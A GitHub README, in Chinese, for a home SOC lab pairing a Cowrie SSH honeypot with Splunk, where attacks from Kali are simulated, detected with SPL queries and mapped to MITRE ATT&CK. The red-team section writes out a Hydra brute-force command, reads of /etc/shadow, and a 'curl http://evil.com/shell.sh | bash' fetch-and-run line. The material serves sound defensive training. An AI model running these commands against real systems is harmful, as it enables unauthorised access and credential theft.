eshginallahverdiyev/SOC-Honeypot-Lab
GitHub: eshginallahverdiyev/SOC-Honeypot-Lab
一个基于Cowrie SSH蜜罐和Splunk SIEM构建的SOC检测实验环境,用于模拟攻击并学习威胁检测与日志分析。
Stars: 0 | Forks: 0
# 🍯 SOC 蜜罐检测实验室
[](https://www.splunk.com) [](https://github.com/cowrie/cowrie) [](https://rockylinux.org) [](https://www.kali.org) [](https://attack.mitre.org)
## 📋 目录
1. [项目概述](#-project-overview)
2. [实验室架构](#-lab-architecture)
3. [阶段 1 — 虚拟化基础设施](#%EF%B8%8F-phase-1--virtual-infrastructure)
4. [阶段 2 — Splunk SIEM 设置](#-phase-2--splunk-siem-setup)
5. [阶段 3 — Cowrie SSH 蜜罐设置](#-phase-3--cowrie-ssh-honeypot-setup)
6. [阶段 4 — Splunk Universal Forwarder](#-phase-4--splunk-universal-forwarder)
7. [阶段 5 — 攻击模拟(红队)](#%EF%B8%8F-phase-5--attack-simulation-red-team)
8. [阶段 6 — 检测与分析(蓝队)](#-phase-6--detection--analysis-blue-team)
9. [攻击与检测映射](#-attack-vs-detection-mapping)
10. [核心技能与工具](#-key-skills--tools)
11. [关键收获](#-key-takeaways)
## 🔍 项目概述
本项目围绕 Cowrie SSH 蜜罐构建了一个**生产级 SOC 检测实验室**——这是一种中等交互的欺骗技术,可模拟真实的 Linux 服务器,以引诱、诱捕并详细记录攻击者的活动。
与传统基于端点的检测不同,蜜罐提供**攻击情报**:根据定义,每一个连接都是恶意的,从而产生零误报。所有捕获的事件都会实时转发到 **Splunk Enterprise**,以进行关联、告警和取证分析。
**本实验室演示内容:**
- 在 Rocky Linux 9.7 上部署和调优 Cowrie SSH 蜜罐
- 在单独的 Rocky Linux 实例上将 Splunk Enterprise 配置为集中式 SIEM
- 使用 Splunk Universal Forwarder 将蜜罐 JSON 日志实时传输到 Splunk
- 从 Kali Linux 模拟真实的 SSH 暴力破解和后渗透攻击
- 在 Splunk 中检测、关联和调查每个攻击阶段
**核心技术栈:**
| 类别 | 工具 | 用途 |
|:---------|:-----|:--------|
| SIEM | **Splunk Enterprise** | 日志聚合,搜索,仪表板 |
| 日志传输 | **Splunk Universal Forwarder** | 实时日志转发 |
| 蜜罐 | **Cowrie** | SSH 欺骗与攻击者日志记录 |
| 操作系统(两台虚拟机) | **Rocky Linux 9.7** | 基于 RHEL 的企业级 Linux |
| 攻击平台 | **Kali Linux** | 红队行动 |
| 暴力破解 | **Hydra** | SSH 凭据攻击 |
## 🏗️ 实验室架构
```
┌─────────────────────────────────────────────────────────────────┐
│ VMnet (Internal LAN) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────────┐ │
│ │ Splunk Enterprise │◄───────│ Cowrie SSH Honeypot │ │
│ │ Rocky Linux 9.7 │ 9997 │ Rocky Linux 9.7 │ │
│ │ 192.168.49.131 │ │ 192.168.49.132 │ │
│ │ 4 GB RAM / 2 Core │ │ 1 GB RAM / 1 Core │ │
│ │ Port: 8000 (Web) │ │ Port: 2222 (SSH Trap) │ │
│ └──────────────────────┘ └──────────────────────────┘ │
│ ▲ ▲ │
│ └───────────────────────────────┘ │
│ attacks │
│ ┌─────────────┐ │
│ │ Kali Linux │ │
│ │ (Attacker) │ │
│ └─────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
**数据流:**
```
Attacker (Kali) ──SSH:2222──► Cowrie Honeypot
│
cowrie.json logs
│
Splunk Universal Forwarder
│ TCP:9997
Splunk Enterprise SIEM
│
index=main sourcetype=cowrie
```
## ⚙️ 阶段 1 — 虚拟化基础设施
### 虚拟机资源分配
| 虚拟机 | 操作系统 | 角色 | 内存 | CPU | 硬盘 | IP |
|:---|:---|:-----|:----|:----|:-----|:---|
| **Splunk 服务器** | Rocky Linux 9.7 | SIEM | 4 GB | 2 核 | 60 GB | 192.168.49.131 |
| **蜜罐** | Rocky Linux 9.7 | Cowrie SSH 陷阱 | 1 GB | 1 核 | 20 GB | 192.168.49.132 |
| **Kali Linux** | Kali (WSL) | 攻击者 | — | — | — | 192.168.49.1 |
### Rocky Linux 安装 — Splunk 服务器
[](https://www.splunk.com) [](https://github.com/cowrie/cowrie) [](https://rockylinux.org) [](https://www.kali.org) [](https://attack.mitre.org)
![]() Installation summary — Splunk server |
![]() Installation in progress |
![]() Installation summary — Honeypot server |
![]() Installation in progress |
### 2.2 防火墙 — 开放 Web 端口 8000
```
sudo firewall-cmd --permanent --add-port=8000/tcp
sudo firewall-cmd --reload
```
### 2.3 Splunk Web 仪表板
位于 `http://192.168.49.131:8000` 的 Splunk Web 界面:
### 2.4 配置接收端口 9997
配置 Splunk 通过 TCP 端口 9997 接收转发数据:
```
sudo /opt/splunk/bin/splunk enable listen 9997 --run-as-root
sudo firewall-cmd --permanent --add-port=9997/tcp
sudo firewall-cmd --reload
```
## 🍯 阶段 3 — Cowrie SSH 蜜罐设置
Cowrie 是一个中等交互的 SSH 蜜罐,可模拟真实的 Linux shell。每个连接、登录尝试、输入的命令以及下载的文件都会以结构化 JSON 格式记录——非常适合 SIEM 接收。
### 3.1 创建专用 Cowrie 用户
```
sudo useradd -m cowrie
sudo su - cowrie
```
### 3.2 安装依赖
```
sudo dnf install -y git python3.11 python3.11-pip libffi-devel openssl-devel
```
![]() Installing Python 3.11 and dependencies |
![]() Setting up virtual environment |
![]() Upgrading pip inside virtualenv |
![]() Installing Cowrie in editable mode |
### 3.5 启动 Cowrie 并开放防火墙
```
source cowrie-env/bin/activate
twistd -n cowrie
```
```
# 在单独的 root 终端中
sudo firewall-cmd --permanent --add-port=2222/tcp
sudo firewall-cmd --reload
```
Cowrie 开始监听 **端口 2222**:
```
2026-05-10T12:30:45+0400 [-] CowrieSSHFactory starting on 2222
2026-05-10T12:30:45+0400 [-] Ready to accept SSH connections
```
### 3.6 修复 Splunk 日志访问权限
`splunkfwd` 用户需要 Cowrie 日志目录的读取权限:
```
sudo chmod 755 /home/cowrie
sudo chmod 755 /home/cowrie/cowrie
sudo chmod 755 /home/cowrie/cowrie/var
sudo chmod 755 /home/cowrie/cowrie/var/log
sudo chmod 755 /home/cowrie/cowrie/var/log/cowrie
sudo chmod 644 /home/cowrie/cowrie/var/log/cowrie/cowrie.json
```
## 📡 阶段 4 — Splunk Universal Forwarder
Splunk Universal Forwarder 是安装在蜜罐虚拟机上的轻量级代理。它监控 Cowrie 的 JSON 日志文件,并通过 TCP 端口 9997 将新事件实时传输到 Splunk Enterprise。
### 4.1 下载并安装
```
sudo mkdir -p /opt/splunkforwarder
sudo rpm -i splunkforwarder-10.2.3-*.x86_64.rpm
```
### 4.2 启动 Forwarder
```
sudo /opt/splunkforwarder/bin/splunk start --accept-license \
--answer-yes --no-prompt --seed-passwd Admin123!
```
### 4.3 添加转发服务器并监控日志文件
```
# 指向 Splunk SIEM 服务器
sudo /opt/splunkforwarder/bin/splunk add forward-server 192.168.49.131:9997 \
-auth admin:Admin123!
# 监控 Cowrie JSON 日志
sudo /opt/splunkforwarder/bin/splunk add monitor \
/home/cowrie/cowrie/var/log/cowrie/cowrie.json \
-index main -sourcetype cowrie -auth admin:Admin123!
# 重启以应用
sudo /opt/splunkforwarder/bin/splunk restart
```
**已验证的日志管道:**
```
cowrie.json → Splunk Forwarder → 192.168.49.131:9997 → index=main sourcetype=cowrie
```
## ⚔️ 阶段 5 — 攻击模拟(红队)
所有攻击均从 **Kali Linux** 针对 `192.168.49.132:2222` 上的 Cowrie 蜜罐发起。每项技术都映射到了 **MITRE ATT&CK**。
### 5.1 SSH 暴力破解 — Hydra
**Hydra** 使用 `rockyou.txt` 对 SSH 凭据进行暴力破解:
```
hydra -l root -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.49.132 -t 64 -V
```
**结果:** 瞬间发现有效凭据 — `12345`、`123456789`、`password`。Cowrie 接受并记录了每次尝试。
### 5.2 手动 SSH 登录尝试
模拟攻击者测试常见凭据的定向手动登录尝试:
### 5.3 后渗透 — 侦察
获得 shell 访问权限后,执行了完整的攻击者侦察序列:
#### 用户与系统枚举
```
whoami
id
cat /etc/passwd
```
#### 凭据与进程发现
```
cat /etc/shadow
ps aux
```
#### 网络侦察与工具传输模拟
```
netstat -an
wget http://192.168.49.1/malware.exe
curl http://evil.com/shell.sh | bash
echo "hacked" > /tmp/pwned.txt
cat /tmp/pwned.txt
history
```
### 5.4 Cowrie — 实时事件记录
在攻击期间,Cowrie 终端实时显示了所有事件:
![]() Cowrie terminal — live events |
![]() SSH session events in detail |
```
index=main sourcetype=cowrie
```
### 6.2 事件分析 — 消息与时间线
Splunk 自动解析了所有 Cowrie JSON 字段:
**自动提取的关键字段:**
| 字段 | 描述 |
|:------|:------------|
| `eventid` | 事件类型(connect, login.failed, login.success, command.input) |
| `src_ip` | 攻击者 IP 地址 |
| `username` | 尝试的用户名 |
| `password` | 尝试的密码(明文) |
| `input` | 在蜜罐 shell 中输入的命令 |
| `session` | 唯一会话 ID |
| `timestamp` | 精确的事件时间 |
### 6.3 凭据获取 — 用户名与密码
攻击者尝试的每一个用户名/密码组合,均在 Splunk 中可见:
```
index=main sourcetype=cowrie eventid=cowrie.login.failed OR eventid=cowrie.login.success
| table _time, src_ip, username, password, eventid
| sort _time
```
### 6.4 攻击者命令取证
攻击者运行的每一条 shell 命令,均被捕获并可在 Splunk 中搜索:
```
index=main sourcetype=cowrie eventid=cowrie.command.input
| table _time, src_ip, session, input
| sort _time
```
重建的完整后渗透序列:
`whoami` → `id` → `cat /etc/passwd` → `cat /etc/shadow` → `ps aux` → `netstat -an` → `wget` → `curl` → `echo` → `history`
## 📊 攻击与检测映射
| # | 攻击步骤 | 工具 | Cowrie 事件 ID | Splunk 检测 | MITRE |
|:--|:------------|:-----|:----------------|:-----------------|:------|
| 1 | **SSH 暴力破解** | Hydra | `cowrie.login.failed` | 来自单一 IP 的大量失败登录 | [T1110.001](https://attack.mitre.org/techniques/T1110/001/) |
| 2 | **凭据访问** | Hydra | `cowrie.login.success` | 使用弱密码成功登录 | [T1078](https://attack.mitre.org/techniques/T1078/) |
| 3 | **用户枚举** | SSH shell | `cowrie.command.input` | `whoami`、`id`、`cat /etc/passwd` | [T1033](https://attack.mitre.org/techniques/T1033/) |
| 4 | **凭据转储** | SSH shell | `cowrie.command.input` | `cat /etc/shadow` | [T1003](https://attack.mitre.org/techniques/T1003/) |
| 5 | **进程发现** | SSH shell | `cowrie.command.input` | `ps aux` | [T1057](https://attack.mitre.org/techniques/T1057/) |
| 6 | **网络发现** | SSH shell | `cowrie.command.input` | `netstat -an` | [T1049](https://attack.mitre.org/techniques/T1049/) |
| 7 | **工具传输** | SSH shell | `cowrie.command.input` | `wget`、`curl` | [T1105](https://attack.mitre.org/techniques/T1105/) |
| 8 | **会话跟踪** | Cowrie | `cowrie.session.connect/closed` | 完整的会话持续时间与元数据 | [T1021.004](https://attack.mitre.org/techniques/T1021/004/) |
## 🧠 核心技能与工具
### 蓝队
| 类别 | 工具 / 技能 |
|:---------|:-------------|
| **SIEM** | Splunk Enterprise — SPL 查询,字段提取,仪表板 |
| **日志传输** | Splunk Universal Forwarder — 实时 JSON 转发 |
| **蜜罐** | Cowrie — SSH 欺骗,会话记录,命令捕获 |
| **操作系统** | Rocky Linux 9.7(基于 RHEL)— 企业级 Linux 管理 |
| **取证** | JSON 日志分析,凭据获取,命令取证 |
| **网络** | `firewall-cmd`,TCP 端口配置,日志管道架构 |
### 红队
| 类别 | 工具 / 技能 |
|:---------|:-------------|
| **暴力破解** | Hydra — 使用 `rockyou.txt` 进行 SSH 攻击 |
| **初始访问** | 使用发现的凭据进行手动 SSH 登录 |
| **后渗透** | Shell 侦察,枚举,工具传输模拟 |
| **平台** | Kali Linux |
## 📚 关键收获
1. **蜜罐产生零误报** —根据定义,每一个连接都是恶意的,这使得它们在基于特征的系统中具备独特的高保真告警能力。
2. **Cowrie 能捕获 EDR 遗漏的内容** — 明文密码、精确命令、工具下载尝试以及完整的会话元数据都被全部记录,而攻击者端无需安装任何代理。
3. **Splunk 自动解析结构化 JSON** — Cowrie 的 JSON 日志无需手动配置字段提取,即可直接使用复杂的 SPL 查询。
4. **弱 SSH 凭据会在几秒钟内被利用** — Hydra 几乎瞬间破解了 `12345`、`password`、`123456789`。帐户锁定策略和强密码策略是不可或缺的。
5. **Rocky Linux 已为企业级应用做好准备** — 在基于 RHEL 的 Rocky Linux 9.7 上进行部署,镜像了真实世界的 SOC 基础设施,并增加了实用的 `dnf`、`firewall-cmd` 和 `systemd` 经验。
6. **日志转发架构至关重要** — Splunk Universal Forwarder → Splunk Enterprise 管道展示了全球生产环境 SOC 中使用的核心企业 SIEM 模式。
## 🚨 建议
| 优先级 | 发现 | 建议 |
|:---------|:--------|:---------------|
| 🔴 严重 | 可以使用弱密码进行 SSH 访问 | 强制实施强密码策略 + 帐户锁定 |
| 🔴 严重 | 允许通过 SSH 进行 root 登录 | 禁用 root SSH 登录(`PermitRootLogin no`) |
| 🟠 高 | SSH 未启用 MFA | 部署基于 SSH 密钥的身份验证或 MFA |
| 🟠 高 | 端口 22 广泛暴露 | 通过防火墙将 SSH 限制为受信任的 IP |
| 🟡 中 | SSH 无速率限制 | 部署 `fail2ban` 或等效工具 |
| 🟡 中 | `cat /etc/shadow` 可被访问 | 强制实施正确的文件权限和 PAM |
**用 🍯 构建,旨在实现欺骗、检测以及威胁追踪的艺术。**
*所有攻击均在隔离的实验室环境中针对有意部署的蜜罐基础设施进行。切勿在未经适当授权的情况下进行攻击模拟。*
标签:AMSI绕过, Hydra, PoC, Rocky Linux, SOC实验室, SSH安全, 威胁检测, 安全实验室, 安全运营中心, 攻击模拟, 数据展示, 暴力破解, 欺骗技术, 混合加密, 红队, 网络安全, 网络攻防, 网络映射, 蓝队防御, 蜜罐, 证书利用, 逆向工具, 隐私保护, 驱动签名利用









